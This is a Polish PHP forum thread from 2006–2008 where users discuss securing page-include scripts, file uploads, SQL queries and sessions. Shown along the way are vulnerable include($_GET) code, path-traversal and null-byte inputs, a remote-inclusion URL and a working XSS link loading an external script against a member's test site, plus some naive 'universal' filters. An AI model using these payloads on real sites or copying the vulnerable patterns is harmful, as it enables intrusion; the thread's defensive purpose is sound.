a czy moglibyście powiedzieć czy ten skrypt jest bezpieczny??
system includowania stron

[PHP] pobierz, plaintext 
<?php
http://www.php.net/define ('_ABCDE_F', TRUE);
....
....
if ($_GET['mode'] == "") {$_GET['mode'] = 'main';}
if (http://www.php.net/file_exists("strony/$_GET['mode'".".php")) {
	include "strony/$_GET['mode'".".php";
}else {
	http://www.php.net/echo "Nie znaleziono pliku !!";
}
?>
[PHP] pobierz, plaintext 

[PHP] pobierz, plaintext 
<?php
http://www.php.net/defined ('_ABCDE_F') or http://www.php.net/die('Bezpośrednie wywołanie pliku jest zabronione');
/* Reszta pliku */
?>
[PHP] pobierz, plaintext 

Napisany przez: Termit_ 30.11.2006, 21:36:25

A jak ktoś poda w zmiennej coś typu "../../../../root/jakiswaznyplik"?

Napisany przez: Saddam92 30.11.2006, 23:17:28

@termit: to do mnie było
jesli tak to raczej nie widze możliwości..


chyba ze php obsługuje takie nielogiczne skrypty jak sciezka do pliku wygladajac tak:
strony/../../../../root/jakis_wazny_plik
i to w dodatku trzeba trafić idealnie żeby taki plik istniał w odpowiednim katalogu... troche trudne i nie logiczne..

co na to spece od php??

Napisany przez: Najki 1.12.2006, 10:26:12

Przed chwilą przeczytałem http://rodion.infobot.pl/security/php/php_upload_pl.txt i nieco się zmieszałem. W jaki więc sposób powinniśmy upload'ować pliki na serwer? Szczególnie grafiki takie jak avatary użytkowników? Przyznaję, że wystraszyłem się o kilka swoich stron.

Szukałem, ale nie znalazłem nic innego na ten temat. Żadne ze znalezionych przeze mnie przykładów nie zawierają żadnych dodatkowych zabezpieczeń. Łatwiej znaleźć przykład kodu omijającego te zabezpieczenia niż faktycznego zabezpieczenia. Ktoś ma jakieś sugestie?


Spytam: czy zabezpiecza mnie fakt, że np. wszystkim przesłanym plikom (niby obrazkom) nadaję rozszerzenie jpg (konwertując wcześniej inne formaty grafik na jpg) ? Teoretycznie powinno mnie to zabezpieczyć, ponieważ serwer nie jest skonfigurowany tak, aby interpretować pliki jpg jako kod php. Ale co z innymi językami, np. Python wspomniany w powyższym artykule?

A jeśli to nie zapewnia mi bezpieczeństwa to czy upload'owanie plików poza document_root wystarczy? Wtedy musiałbym je odczytywać dodatkowym skryptem php pobierającym ich zawartość i wypluwającym ją do przeglądarki.

Napisany przez: mariuszn3 1.12.2006, 13:38:15

Nigdy nie powinno się ufać nagłówkom http, nagłówki te wstawia agent, którym się posługuje użytkownik a nie zawsze to musi być przeglądarka, może to być po prostu skrypt napisany przez kogoś, który chce wyciągnąć ważne informacje z naszego serwera.
W powyższym przypadku powinieneś po prostu użyć funkcji getimagesize() ona po zawartości pliku oceni jakiego typu jest plik czyli przy próbie przesłania skryptu php wywali błąd, który oczywiście możesz przechwycić i odrzucić plik.

Napisany przez: tumeks 5.12.2006, 19:01:57

Czyli jeśli będę miał np. wstawiony kod:

[PHP] pobierz, plaintext 
<?php
if ($_GET['page'] == '')
$_GET['page'] = 'news';
if(http://www.php.net/file_exists($_GET['page'].'.php')){
include($_GET['page'].'.php');
} else 
http://www.php.net/echo '<div id="blad">Nie znaleziono pliku.</div>';
?>
[PHP] pobierz, plaintext 

Napisany przez: Sedziwoj 7.12.2006, 13:50:49

@Najki jest proste rozwiązanie nadanie pliku własnej nazwy.
Ja mam po prostu numerowane pliczki, i każdy jeśli rozpoznam np. image/png to zapisuje {numer}.png a nazwa wysłanego co najwyżej służy do opisu w bazie co jako string nie jest niebezpieczne.
Co dziwne jest funkcja do sprawdzania mime mianowicie mime_content_type ale szukając na jej temat znalazłem tylko pliki magic.mime niestety jakoś nie udało mi się tego użyć. Choć przyznam, że tylko chwile siedziałem nad tym.

Mam nadzieję, że dobrze zrozumiałem naturę problemu.

Napisany przez: Saddam92 8.12.2006, 21:42:34

no dobrze.. tylko ze tutaj jest sprawdzany typ pliku.. a jak by do tego dodac jeszcze sprawdzanie rozszerzenia przesyłanego pliku

Napisany przez: Sedziwoj 9.12.2006, 12:08:30

bardziej wiarygodną rzeczą jest mime, bo plik image/jpeg moze mieć rozszerzenie jpg jpeg jpe i wiele innch dziwnych, czy po prostu niepoprawnych, zdarzało mi się że miałem plik o rozszerzeniu jpeg a program graficzny poinformował mnie że to jest gif i zmienił rozszerzenie.
Ogólnie lepiej oprzeć na mime a nazwę i rozszerzenie tworzyć samemu, bo oprócz rozszerzenia mogą być "błędne" nazwy plików.

Co do podanej przezemnie funkcji, to chyba po prostu zrobię ją sam (dość proste) tylko muszę znaleźć opis większej liczby formatów. Ale to będzie dość proste. (tak mi się wydaje)

Ale ogólnie po prostu nie możemy polegać na tym co mamy przesłane czy to mime czy to rozszerzenie.
Mimo wszystko jestem za tym aby plikom nadawać własne nazwy.

Napisany przez: cadavre 9.12.2006, 13:50:07

http://pl.php.net/manual/pl/function.getimagesize.php
a lista mime'ów, które php obsługuje jako graficzne jest tu
http://pl.php.net/manual/pl/function.image-type-to-mime-type.php

Wszystkie typy mime znajdziesz na googlach:
http://www.google.pl/search?hl=pl&q=mime+types

Napisany przez: Sedziwoj 10.12.2006, 18:41:56

No to ten problem da się rozwiązać
Wystarczy wykorzystać:
0 string GIF image/gif
0 beshort 0xffd8 image/jpeg
0 string \x89PNG\x0D\x0A\x1A\x0A\x00\x00\x00\x0DIHDR image/png

lub przy obrazkach można jak cadavre napisał wykorzystać getimagesize, a dokładniej coś co jest w manualu http://pl.php.net/http://pl.php.net/manual/pl/function.getimagesize.php

Ale też można rozpoznać inne typy:
0 string BZh application/x-bzip2
itd.
Już sobie odpowiedni kod wyklepałem, więc na przyszłość będę miał, no i to zagadnienie już mam troszkę rozpracowane.

Napisany przez: mariuszn3 10.12.2006, 18:49:29

Nie wynajdujcie koła na nowo. To wszystko już zostało dawno opracowane przez programistów php.
Jeśli chcecie wykryć typ pliku obrazu wtedy w zupełności wystarcza getimagesize()
Natomiast jeśli jakiegokolwiek pliku to skorzystajcie z rozszerzenia Fileinfo i funkcji http://pl2.php.net/manual/en/function.finfo-file.php

Napisany przez: Sedziwoj 10.12.2006, 20:00:12

No tak jak ma się sklerozę... to trzeba się narobić
Ale głupio się czuję, przecież 'wiedziałem' że ta funkcja jest :/
No nic ale informacje i tak nie poszły na marne bo jeśli się pracuje u siebie na windowsie to trzeba mieć plik z mime (chyba, że znów popisuję się inteligencją czy raczej pamięcią)

Napisany przez: orglee 31.01.2007, 13:44:38

Zabezpieczanie tablicy $_GET ( Żywcem wyjęte z maincore.php w php-Fusion )

[PHP] pobierz, plaintext 
<?php
public function check_get()
	{
	  foreach ($_GET as $check_url) {
		if ((http://www.php.net/eregi("<[^>]*script*"?[^>]*>", $check_url)) || (eregi("<[^>]*object*"?[^>]*>", $check_url)) ||
			(http://www.php.net/eregi("<[^>]*iframe*"?[^>]*>", $check_url)) || (eregi("<[^>]*applet*"?[^>]*>", $check_url)) ||
			(http://www.php.net/eregi("<[^>]*meta*"?[^>]*>", $check_url)) || (eregi("<[^>]*style*"?[^>]*>", $check_url)) ||
			(http://www.php.net/eregi("<[^>]*form*"?[^>]*>", $check_url)) || (eregi("([^>]*"?[^)]*)", $check_url)) ||
			(http://www.php.net/eregi(""", $check_url))) 
			{
			  return false;
			} else {
			  return true;
			}
	}
?>
[PHP] pobierz, plaintext 

Napisany przez: Sedziwoj 2.02.2007, 03:30:17

Tak mnie zastanawia co się stanie jeśli $_GET nie istnieje lub nie jest tablicą... (nie chce mi się teraz testować).

A jeszcze do podanego na drugiej stronie skryptu z flock, jest błędny, ponieważ ta funkcja zwraca true jeśli się jej uda a false jeśli nie, więc może wyjść, że plik jest używany zwróci false ale że nie sprawdzamy co zwraca skrypt leci dalej i robią się kłopoty.
Trzeba więc sprawdzać co zwraca, gdzieś zamieściłem jedną propozycję ale była na tyle prosta (jak i mogąca zawiesić skrypt) że jej nie podam.

Napisany przez: insenic 25.02.2007, 16:21:27

Czy zabezpieczenie katalogu przez .htaccess jest 100% bezpieczne? Chciałbym trzymać konfigurację (między innymi hasło do mysql) w danym katalogu w plikach *.ini. Wiem, że istnieją inne metody zabezpieczania takich danych, ale czy .htaccess jest skuteczna?

Napisany przez: sopel 26.02.2007, 08:51:32

Cytat(insenic @ 25.02.2007, 16:21:27 )

Napisany przez: Ivellios 2.03.2007, 23:03:09

Witam, chciałbym się was zapytać, czy przedstawiony przeze mnie poniżej kod ma coś wspólnego z bezpieczeństwem

[PHP] pobierz, plaintext 
<?php 
http://www.php.net/mysql_pconnect("localhost", "NAZWA_BAZY_DANYCH", "HASŁO"); 
http://www.php.net/mysql_select_db("JAKAŚTAM_TABELA"); 
$id = http://www.php.net/addslashes($_GET['id']); 
$sql = "SELECT * FROM nuke_pages WHERE pid = '$id'"; 
 
$result = http://www.php.net/mysql_query($sql); 
 
 
while($row = http://www.php.net/mysql_fetch_array($result)) 
{ 
 
?> 
<table><tr><td class="navpic" align="center"><font class="block-title"><strong><?php http://www.php.net/echo $row['title']; ?></strong></font></td></tr>
<tr><td class="row1" align="justify"><font class="content"><?php http://www.php.net/echo $row['page_header']; ?><BR><BR><?php http://www.php.net/echo $row['text']; ?><BR><BR><?php http://www.php.net/echo $row['page_footer']; ?></font><BR><BR></td></tr></table><br>
<?
} 
?>
[PHP] pobierz, plaintext 

Napisany przez: Sedziwoj 4.03.2007, 02:39:44

Ivellios przeczytaj to co już jest, tam znajdziesz odpowiedź.
Musisz wiedzieć o 'grubszych' dziurach jakie się zdarzają sam, bo tak każdy skrypt byś musiał komuś podsyłać aby sprawdzić.

Co do tego co podałeś, to jeśli pid jest polem typu liczbowego, to powinieneś sprawdzić czy $_GET['id'] jest liczbą, jak jest to dobrze jak nie to ignorujesz. A addslash w takim wypadku jest zbędny, bo jak jest liczbą to nie może mieć innych znaków.

Napisany przez: Ivellios 4.03.2007, 07:54:58

Co do tego addslasha to zmieniłem go na mysql_escape_string. A jak będę miał wolną chwilkę to przejrzę cały temacik i pomyślę, co by jeszcze "ubezpiecznić"

Napisany przez: upaupa 27.03.2007, 14:11:39

Przeczytałem cały topic - filtrowanie, if fileexist - tylko po co to? Mam taki kod i nie ma bata żeby ktoś tu coś innego includował:

Napisany przez: Sedziwoj 27.03.2007, 16:00:29

upaupa widocznie nie czytałeś wszystkiego... bo już lepiej użyć switch niż taką konstrukcję, a dlaczego mimo wszystko tak nie jest najlepiej, masz napisane wcześniejszych postach.

Napisany przez: upaupa 27.03.2007, 17:09:08

a co za różnica czy switch czy else if? - żadna oprócz no powiedzmy przejrzystości kodu. Post przeanalizowałem dokładnie i dalej sądzę że w tym kodzie co podałem nic innego nie da się includować

Napisany przez: Sedziwoj 27.03.2007, 18:27:51

Przecież przejrzystość i łatwość rozbudowy kodu jest ważna.
A czy ja twierdziłem że można się włamać? Chodziło mi o sens budowy sprawdzania zamiast konstrukcji zamkniętych.

Napisany przez: dantekir 29.04.2007, 16:47:22

Witam,

Postanowiłem popracować troche nad bezpieczeństwem pewnej stronki...

Przeczytałem ostatnio wiec że lepiej jest w adresie url nie podawać nazwy plikow w postaci np. jakastrona.pl/index.php bezpieczniej jest używać /index.html a to ze względu na fakt iż atakujący nie zna od razu odpowiedzi na pytanie: jaki język skryptowy został użyty do stworzenia strony?

A wiec...

Przypuśćmy że mam taki adres:
www.jakasstrona.pl/podstrona.php?zmienna1=wartosc1&zmienna2=wartosc2

Sladami poprawy bezpieczenstwa chcialbym ten adres zamienic np. na:
www.jakasstrona.pl/podstrona_wartosc1_wartosc2_.html

z tego adresu mogłbym sobie wyciagnac wartosci odpowiednich zmiennych.
Zauwazylem tez ze serwis allegro stosuje taki linkowanie do aukcji, a wiec jest to mozliwe.

Zastanawiam sie w jaki sposob dac do zrozumienia mojej stronie aby po wpisaniu tego "bezpiecznego" adresu nie wyswietlala mi sie strona bledu (404)...
Drugie pytanie dotyczy tego gdzie ustawic mozliwosc wykonywania skryptow php w plikach .html?

Za wskazowki bardzo dziękuję i pozdrawiam.

Napisany przez: bełdzio 29.04.2007, 17:07:31

ad1. google + mod_rewrite
ad2. w konfigu php ew. w .htaccess AddType application/x-httpd-php .html

a od siebie dodam: http://www.beldzio.com/ mam nadzieję, że da się tam znaleźć coś ciekawego ;-)

Napisany przez: radex_p 4.05.2007, 17:38:46

O jednym zapomnieliście - Z includowaniem plików przesadziliście całkowicie! PHP jest językiem działającym po stronie serwera więc jakie jest niebezpieczeństwo?! Można zincludować plik jako przetworzony już, ale napewno nie będzie mógł dostać się do serwera czy innych takich:P

Napisany przez: Kicok 4.05.2007, 17:49:27

1.

[PHP] pobierz, plaintext 
<?php
$id = $_GET['id'];
include('/strony/' . $id . '.php');
?>
[PHP] pobierz, plaintext 

[PHP] pobierz, plaintext 
<?php
$id = $_GET['id'];
include($id);
?>
[PHP] pobierz, plaintext 

[PHP] pobierz, plaintext 
<?php
include('http://jakas_stronka/config.php');
?>
[PHP] pobierz, plaintext 

Napisany przez: bełdzio 5.05.2007, 00:12:38

@Kicok pkt1 == pkt2 to że dodawane jest automatycznie rozszerzenie nie oznacza, że nie możesz się go pozbyć

@radex_p nie chodzi o samo includowanie, ale o sposób jaki się to robi

Napisany przez: radex_p 6.05.2007, 15:52:45

Cytat(Kicok @ 4.05.2007, 16:49:27 )

[PHP] pobierz, plaintext 
<?php
$id = $_GET['id'];
include('/strony/' . $id . '.php');
?>
[PHP] pobierz, plaintext 

Napisany przez: peen 31.05.2007, 02:52:48

hmm... trochę tu śmietnik... zgubiłem się gdzieś na 3-4 stronie

ale właściwie chodzi mi tylko o jedno... test skryptu logującego... jego oczywiście nie podam ale jeśli byłby ktoś tak miły to proszę o jego przełamanie(na pewno się da ... tak myślę )

poza logowaniem proszę o znalezienie błędów... wszystkich możliwych jakby ktoś miał trochę czasu i chęci

adres http://www.peen.yoyo.pl

PS czuje się jakbym popełniał samobójstwo (modli sie: oby nie złamał tego jakiś zwykły PHP coder )

----------------

jeśli pobieram "dzial" metodą get i wewnątrz skryptu wstawiam prefix "./" oraz sufix w postaci rozszerzenia...(którego raczej staram się nie zdradzić) to w jakim stopniu zabezpieczam skrypt przed niepowołanymi danymi/skryptami?(wiem że o tym było trochę ale się pogubiłem trochę bardziej :/)

co mi grozi jeśli nie ograniczam długości loginu i hasła w skrypcie do logowania? jeśli nie ograniczam też możliwości używania tagów html itp itd....
(konkretny przykład wpisanych danych... najlepiej od razu sprawdzony w skrypcie na stronie wyżej:P)

jak bezpieczne są zmienne przechowywane w $_SESSION? czy jeśli przechowuje w nich login i hasło(forma md5) to jest to w miarę dobre rozwiązanie czy lepiej na prostych stronach unikać przechowywania loginu i hasła w ogóle(wprowadzanie loginu i hasła tylko na potrzeby konkretnego skryptu np. dodającego wpis na stronkę)?

czy coś jeszcze chcę wiedzieć.... -myśli--myśli--myśli... chyba na razie nie

Napisany przez: bełdzio 31.05.2007, 18:53:07

http://www.peen.yoyo.pl/index.php?id=%3Cscript%20src=http://www.cerio.pl/xss.js%20/%3E%3C/script%3E


ad1. Null byte attack
ad2. nic jeśli później nie wyświetlasz danych przekazanych przez usera
ad3. średnio bezpieczne zależy czy używasz tylko "gołej" tablicy $_SESSION i session_start czy też innych ficzerów ;-)

Napisany przez: peen 1.06.2007, 12:28:42

ad boo. hmm... spróbuj zrobić tak żeby nie wywaliło braku strony bo właściwie to co zrobiłeś to nie błąd tylko taka jest nazwa strony której szukałeś :P(nadaje sie do zabezpieczeń w microsofcie :P)

ad1. hmmm jakoś się poprawi... ekhm a właściwie jak wygląda ten typ ataku (to jest coś z ../../../ itd?)

hmm

ad3. czy $_SESSION jest tak bezpieczne jak komputer i połączenie między klientem a serwerem? jeśli użyje https ... to jest jeden z tych ficzerow? domyślam się że w tablicy nie powinienem goło trzymać nazw pól "login" "pass" tylko jakieś identyfikatory(może zaszyfrowane ) trudne do odgadnięcia a każda wartość szyfrowana? :P

PS hmm sorki za zabezpieczenia ogólne w dziale php

EDIT:

poprawiam poprawiam... usuwam podpuchę z pokazywaniem błędnego działu... robie listę dozwolonych działów... ale z tymi ficzerami to jeszcze będę musiał troche popracować bo w manualu PHP niewiele jest o sesjach...(albo nie umiem szukać) więc google się odwiedzi

Napisany przez: bełdzio 1.06.2007, 14:14:53

ad ad boo, to jest błąd i tyle, co za problem przejechac stringa np strip_tags?

ad ad 1/ %00 kończy stringa czyli katalog/plik.php%00.html = katalog/plik.php

ad ad3. ficzery = session.use_only_cookies + session_regenerate_id + session_save_path etc ;-)

Napisany przez: peen 1.06.2007, 18:47:30

ad ad ad 1

wpisuje nazwę innego pliku znajdującego się w katalogu... + %00
teoretycznie wg tego co mówisz powinno mi się wyświetlić a wyświetlić a wyświetla się znany ci już błąd
"Strony "(ukryta nazwa pliku)\0" nie znaleziono."

hmm... jestem po prostu głupi i nie potrafię zrobić włamu na własną stronę

ad ad ad boo poprawione... ale pewnie dalej gdzieś jest dziura

ad ad ad 3 ehh to głębszy temat... z czasem się dopracuje

PS wiesz po prostu przeczytam sobie troche na twojej stronce i na innych temu podobnych

Napisany przez: bmL 5.09.2007, 21:06:27

Czytam i czytam i już dobre pół godziny czytam i nie wydaje mi się żeby dało się coś złego zrobić z takim skryptem:

[PHP] pobierz, plaintext 
<?php
$plik = http://www.php.net/basename($_GET[plik])
 
if($plik != $_GET[plik])
  http://www.php.net/echo '1337?';
else
{
  if(http://www.php.net/file_exists($plik.php)
	 include($plik.'php')
  else
	 include("strona_glowna.php")
}
?>
[PHP] pobierz, plaintext 

Napisany przez: Sedziwoj 5.09.2007, 22:41:49

po pierwsze ten skrypt nie działa
po drugie zamiast file_exists() a is_file().
Po trzecie, po prostu bym dozwolił tylko a-z i nie patyczkował.

A właśnie zdałem sobie sprawę, że u mnie takie coś już nie wystąpi <lol> Ech to OOP, jednak ma jakieś plusy

Napisany przez: bmL 6.09.2007, 15:01:46

Cytat(Sedziwoj @ 5.09.2007, 23:41:49 )

[PHP] pobierz, plaintext 
<?php
$plik = http://www.php.net/basename($_GET[plik]);
 
if($plik != $_GET[plik])
  http://www.php.net/echo '1337?';
else
{
  if(http://www.php.net/file_exists($plik.php))
	 include($plik.'php');
  else
	 include("strona_glowna.php");
}
?>
[PHP] pobierz, plaintext 

Cytat(Sedziwoj @ 5.09.2007, 23:41:49 )

Cytat(Sedziwoj @ 5.09.2007, 23:41:49 )

Napisany przez: potreb 27.09.2007, 13:11:06

Poruszacie tutaj temat łączenia stron, a jak sie ma bezpieczeństwo co do wykonywania jakich zapytań lub wysyłania formularzy. Albo ochrona przed spam botami.

Jak pewnego razu boty zaatakowały moją stronę to, nie mogłem się od nich odpędzić. Tak więc dodałem tokena, ale i to nie pomogło w końcu pomyślałem że dodają skrypty przez jakiegoś exploita napisanego specjalnie dla mojej strony. No i w shoutboxie i katalogu stron zastosowałem funkcje eregi. Jeżeli w tekscie wystepuje słowo "url", lub "http" to wtedy odrzuca formularz. Myślę że to jest dobre rozwiązanie, bo wiele spambotów działa podobnie, zapełniają pola text podobnymi tekstami.

Napisany przez: bełdzio 27.09.2007, 19:32:22

co do plików => http://www.beldzio.com/bezpieczenstwo-dostepu-do-plikow.freez
co do spamu => http://www.beldzio.com/walka-ze-spambotami.freez

Napisany przez: consto 18.10.2007, 20:27:50

Witam wszystkich ...

Temat bezpiecznego podpinania pików jest dość ciekawy i chyba rozwiązań jest tyle ile programistów.

Ja stosuję takie rozwiązanie i chyba całkiem dobre, które jednocześnie spełnia rolę maskowania adresu (dobre jeśli jakiś serwer nie obsługuje mod-rewrite).

adresy wyglądają tak:

http://domena.pl/index.php?podstronka,1,jakieś_dane,kolejne,...

oczywiście zamiast "," można dać dowolny inny znak

Kod

<?php



1.     $katalog=array(1=>"nazwa_katalogu_jeden", "następna_nazwa_katalogu", ........);
2.   if(eregi("^[a-zA-Z0-9,]+$",$_SERVER["QUERY_STRING"])) {            
3.     $adres = explode(',',$_SERVER["QUERY_STRING"]);          
4.       $plik_name         = $adres[0];                                          
5.       $katalog_name   =  $adres[1];                                        
6.       $adres_name     = $katalog_name.'/'.$plik_name.'.php';
7.  if ($plik_name<>''){                                                                  
8.  if (file_exists( $adres_name)){                                                
9.       require(" $adres_name'");}                                                
10.   else {require("strona_error.php");}                                            
11. }
12. else {require("strona_error.php");}
13. }
14. else {require("strona_głowna.php");}                                      

?>

Na początek sprawdzam czy w url-u (po znaku"?") nie ma "zakazanych" znaków ... url może zawierać tylko małe i duże litery alfabetu bez polskich znaków, liczby 0-9 oraz "," ... pozostałe znaki są uznawane jako próba "włamania"
Kolejny etap to tworzenie z " ?podstronka,1, jakieś_dane ,kolejne,... " tablicy o nazwie $adres.
Przypisanie zmiennym $plik_name = $adres[0]; (nazwa pliku do podpięcia), $katalog_name = $adres[1]; (id katalogu z tablicy $katalog) i $adres_name (czyli gotowy adres do pliku). Teraz sprawdzam, czy zmienna z nazwą pliku zawiera jakieś dane(można to zrobić wcześniej ... rzecz gustu). W końcu sprawdzam, czy plik o takiej nazwie istnieje w danym katalogu. Jeśli tak to podpinam plik, a jeśli nie to podpinam podstronę z komunikatem błędu (z możliwością dopisania IP i nazwy przeglądarki usera do bazy i po np. 5 próbach wpisania błędnego adresu zablokowanie IP na określony czas)

Kolejne numery, czyli: $adres[2], $adres[3], ... , $adres[X], to poprostu zmienne, które już są przefiltrowane i można bezpiecznie użyć ich w skryptach bez stosowania metody $_GET['zmienna'].

Można jeszcze dodać sprawdzanie domeny, czy przypadkiem podstrona nie jest wywoływana z pod innego adresu niż adres naszego serwera.

Jeśli ktoś ma pomysły na ulepszenie mojej wersji to bardzo proszę ... może wspólnie uda się stworzyć coś naprawdę dobrego

Napisany przez: marcio 27.10.2007, 23:59:19

czytalem juz ten temat kilka razy i teraz przeczytalem na nowo na php nie znam sie dobze bo robie duzo bledow ale duzo ludzi pisze ze taki kod jest bezpieczny

[PHP] pobierz, plaintext 
<?php
$file=$_GET['id'].'.php';
if(http://www.php.net/file_exists($file)) {
include $file;
} else {
http://www.php.net/echo 'Błąd 404';
}
?>
[PHP] pobierz, plaintext 

[PHP] pobierz, plaintext 
<?php
$file=$_GET['id'].'.php';
if(http://www.php.net/file_exists($file)) {
include http://www.php.net/basename($file);
} else {
http://www.php.net/echo 'Błąd 404';
}
?>
[PHP] pobierz, plaintext 

Napisany przez: gladiror 18.12.2007, 22:18:10

[PHP] pobierz, plaintext 
<?php
$file=$_GET['id'].'.php';
if(http://www.php.net/file_exists($file)) {
include $file;
} else {
http://www.php.net/echo 'Błąd 404';
}
?>
[PHP] pobierz, plaintext 

[PHP] pobierz, plaintext 
<?php
$_GET['id'] = 'http://niebezpiecznastrona.pl/niebezpieczny_skrypt';
?>
[PHP] pobierz, plaintext 

Napisany przez: bełdzio 18.12.2007, 23:20:17

@marcio check this http://www.beldzio.com/bezpieczenstwo-dostepu-do-plikow.freez

Napisany przez: Brick 26.02.2008, 12:18:17

Chciałbym zwrócić uwagę na jedną rzecz związaną z zapisywaniem identyfikatora i praw dostępu użytkownika do sesji.
Często robi się tak, że po zalogowaniu użytkownika, dane takie jak jego ID oraz jego uprawnienia są zapisywane do sesji. Widziałem wiele razy takie rozwiązania.
Przykładowo:
Zalogowany user: "Kazek", ID=50, ma uprawnienia "administrator serwisu"

Wszystko jest dobrze, tylko gdy np. szef firmy dowie się że Kazek właśnie siedzi w domu przy komputerze i chce ukraść wszystkie dane to nic nie może z tym zrobić. Gdy zmieni mu uprawnienia, zablokuje lub usunie konto, to dopóki Kazek jest zalogowany może robić co chce.

Rozwiązanie jest oczywiście proste, tj zanim skrypty php cokolwiek zrobią, jakiś skrypt sprawdzający pobiera z bazy danych informacje o zalogowanym użytkowniku. Sprawdza czy taki user istnieje, czy nie ma zablokowanego konta oraz jaki ma poziom. W wypadku gdy coś się nie zgadza, blokuje dostęp do wszystkiego i kasuje sesje.

W tym wypadku jedyne co trzeba zapisać do sesji to ID usera bo reszta jest i tak pobierana z bazy.

Poprawcie mnie jeżeli się mylę.

Napisany przez: Kocurro 26.02.2008, 12:22:11

Na tym polega odpowiednie zaprogramowanie autentykacji (uwierzytelniania) i autoryzacji.

Chociaż wiele osób o tym zapomina

Do tego dobrze jest zawsze sesje mieć przechowywane w bazie danych - dzięki temu zawsze można wymusić akcję na zalogowanej osobie

pozdr.

Napisany przez: mike 26.02.2008, 12:33:51

Wrzucenie uprawnień do sesji ma na celu dwie rzeczy:
1. Możliwość wyświetlania opcji zależnych od uprawnień wymaga informacji o wszystkich uprawnieniach użytkownika;
2. Pobieranie drzewa uprawnień podczas każdego żądania byłoby bez sensu.

Jeśli chodzi natomiast o reakcję na zmianę uprawnień dla użytkownika, którego sesja właśnie trwa to nie ma żadnego problemu.
Kwestią jest to że przed każdą operację powinno sprawdzać się szczegółową funkcję, która właśnie jest używana.

Przykładowo: Jeśli komuś wyświetlił się przycisk usuń to nie znaczy, że coś się usunie po kliknięciu weń.

Napisany przez: Kocurro 26.02.2008, 13:09:40

Rozwijając moją poprzednią wypowiedź:

Sesje trzymam w bazie, oprócz standardowych kolumn: SID, Dane, Czas ... mam kolumny: Uzytkownik_ID, Odswiez ...

Gdy użytkownik traci dostęp zmieniam Uzytkownik_ID na wartosc 0 ... a gdy tylko zmieniam uprawnienia to Odswiez przyjmuje wartosc true ... i przy następnym przejściu odświeżam wszystkie dane typu tego gdzie Odśwież jest na true

Jak do tej pory nie miałem problemów z tym, że kogoś wyciąłem a on dalej grzebał mi

pozdr.

Napisany przez: Sedziwoj 8.03.2008, 15:36:36

Cytat(mike @ 26.02.2008, 12:33:51 )

Napisany przez: Jarod 8.03.2008, 19:57:03

Ja uprawnienia pobieram tylko podczas logowania, natomiast przed każdym wywołaniem akcji, kontroler (wykorzystuje do tego napisaną klasę ACL) sprawdza czy użytkownik może daną akcję wywołać. Automatycznie też sprawdzane jest, czy maksymalny czas nieaktywności nie został przekroczony (za to odpowiada handler sesji) - jeśli tak, user zostaje przekierowany na stronę logowania.


Pozdrawiam

Napisany przez: MajareQ 20.03.2008, 11:31:19

Może wrócę do bezpieczeństwa bezpośredniego...
Oto kod zebezpieczający przed wieloma atakami...
nalezy go umieścić przed wszystkimi innymi skryptami...

[PHP] pobierz, plaintext 
<?php
if (!http://www.php.net/get_magic_quotes_gpc())
{
function gpc_value($value)
{
if (http://www.php.net/is_array($value))
{
$value = http://www.php.net/array_map('gpc_value', $value);
}
else
{
$value = http://www.php.net/addslashes($value);
}
return $value;
}
 
if (!http://www.php.net/empty($_GET))
{
$_GET = gpc_value($_GET);
}
 
if (!http://www.php.net/empty($_POST))
{
$_POST = gpc_value($_POST);
}
 
if (!http://www.php.net/empty($_COOKIE))
{
$_COOKIE = gpc_value($_COOKIE);
}
}
?>
[PHP] pobierz, plaintext 

Napisany przez: bełdzio 20.03.2008, 13:49:52

Cytat(MajareQ @ 20.03.2008, 11:31:19 )

Napisany przez: MajareQ 20.03.2008, 13:55:00

Wszystkimi dotyczącymi formularzy, ciastek, SQL icjection etc.

a ten zabezpiecza przed Session Fixation i Session Hijacking

Napisany przez: sopel 20.03.2008, 14:33:59

@MajareQ, poczytaj trochę więcej o bezpieczeństwie, a potem dopiero nas uraczaj cudownymi uniwersalnymi skryptami zabezpieczającymi, ok?

co do drugiego skryptu, wyobraź sobie sytuacje, w której jesteśmy w tej samej sieci lokalnej (na zewnątrz mamy to samo IP), rozpoczyam sesję i daję ci linka. zapobiegłeś session fixation? (nie mówiąc o tym, że ograniczyłeś dostęp ludziom, których ip może się zmieniać w czasie połączenia).

Napisany przez: kszychu 20.03.2008, 16:29:23

Cytat(Jarod @ 20.03.2008, 16:16:24 )

Cytat(Jarod @ 20.03.2008, 16:16:24 )

Napisany przez: Jarod 20.03.2008, 17:22:07

Cytat(kszychu @ 20.03.2008, 16:29:23 )

Cytat(kszychu @ 20.03.2008, 16:29:23 )

Napisany przez: cool_solar 21.03.2008, 19:55:05

Cytat(Wave @ 21.05.2005, 11:06:00 )

Napisany przez: Sedziwoj 21.03.2008, 20:37:51

@cool_solar
Raczej brak zrozumienia działania funkcji. Pomyśl poczytaj, a znajdziesz odpowiedź.

Napisany przez: MajareQ 21.03.2008, 22:59:42

Cytat(sopel @ 20.03.2008, 14:33:59 )

@MajareQ, poczytaj trochę więcej o bezpieczeństwie, a potem dopiero nas uraczaj cudownymi uniwersalnymi skryptami zabezpieczającymi, ok?

co do drugiego skryptu, wyobraź sobie sytuacje, w której jesteśmy w tej samej sieci lokalnej (na zewnątrz mamy to samo IP), rozpoczyam sesję i daję ci linka. zapobiegłeś session fixation? (nie mówiąc o tym, że ograniczyłeś dostęp ludziom, których ip może się zmieniać w czasie połączenia).

[PHP] pobierz, plaintext 
<?php
$id = $_GET['id'];
if (http://www.php.net/is_numeric($id)) {
// kod dalszy
} else {
http://www.php.net/echo'Nie kombinuj!';
}
?>
[PHP] pobierz, plaintext 

Napisany przez: Xniver 21.03.2008, 23:12:16

Znowu Ameryki nie odkryłeś . Poza tym lepiej już użyć is_int(po co przy ID float?), rzutowania(int) lub napisać jakąś klase do tego, np. w swoim frameworku mam tak:

[PHP] pobierz, plaintext 
<?php
$id = XF::getRequest()->getInteger('id', 0, Request::POST); // Klucz, wartosć domyślna, typ(POST, cookie, server)
?>
[PHP] pobierz, plaintext 

Napisany przez: bełdzio 22.03.2008, 13:08:30

Cytat(MajareQ @ 20.03.2008, 13:55:00 )

Napisany przez: MajareQ 22.03.2008, 16:27:33

ten kod zamienia znaki

Napisany przez: bełdzio 23.03.2008, 12:34:09

Cytat(MajareQ @ 22.03.2008, 16:27:33 )

Napisany przez: MajareQ 23.03.2008, 15:10:13

Czy ja napisałem ze to zabezpieczy przed wszystkim?

